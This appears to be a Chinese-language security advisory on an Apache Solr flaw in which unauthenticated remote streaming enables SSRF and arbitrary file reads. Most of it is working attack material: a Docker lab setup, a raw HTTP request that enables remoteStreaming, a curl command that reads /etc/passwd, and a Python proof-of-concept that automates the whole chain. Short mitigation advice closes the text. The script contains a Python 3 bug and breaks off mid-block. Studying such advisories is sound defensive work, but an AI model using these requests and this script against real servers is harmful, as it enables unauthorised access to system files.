Apache Solr是一个开源的搜索服务,使用Java语言开发。Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。
Apache Solr stream.url SSRF与任意文件读取漏洞 中危
Apache Solr 所有版本
官方不予修复,暂无安全版本。
docker search solr docker pull solr docker run -d -p 8983:8983 solr docker exec -it 实例id /bin/bash cp -r server/solr/configsets/_default/conf /var/solr/data/test1
参考:http://www.bubuko.com/infodetail-3118740.html
首先获取core
以my_core测试为例,
POST /solr/my_core/config HTTP/1.1 Host: x.x.x.x:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 84 {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
读取文件
curl "http://ip:8983/solr/my_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
#!/usr/bin/python # coding: UTF-8 import argparse from urllib.parse import urlparse import httpx def check(host: str) -> bool: with httpx.Client(base_url=host) as client: try: core_data = client.get( "/solr/admin/cores?indexInfo=false&wt=json", timeout=3 ).json() except httpx.ReadTimeout: print(f'{host} TimeOut!') exit() if (status := core_data["status"]) : core = status.keys()[0] client.post( f"/solr/{core}/config", json={ "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming": "true" } }, ) result_data = client.post( url=f"/solr/{core}/debug/dump?param=ContentStreams", data={"stream.url": "file:///etc/passwd"}, ).json() if (streams := result_data["streams"]) : print(streams[0]["stream"]) return True return False if __name__ == "__main__": class URLAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): if not urlparse(values): raise ValueError("Not a valid url!") setattr(namespace, self.dest, values) parser = argparse.ArgumentParser(description="Solr Poc") parser.add_argument("host", type=str, action=URLAction, help="target host uri") args = parser.parse_args() try: check(args.host) except KeyboardInterrupt:
1. 增加身份验证/授权,可参考官方文档:https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
2. 禁止Solr API 以及管理 UI 直接对公网开放。设置防火墙,以便只允许受信任的计算机和人员访问。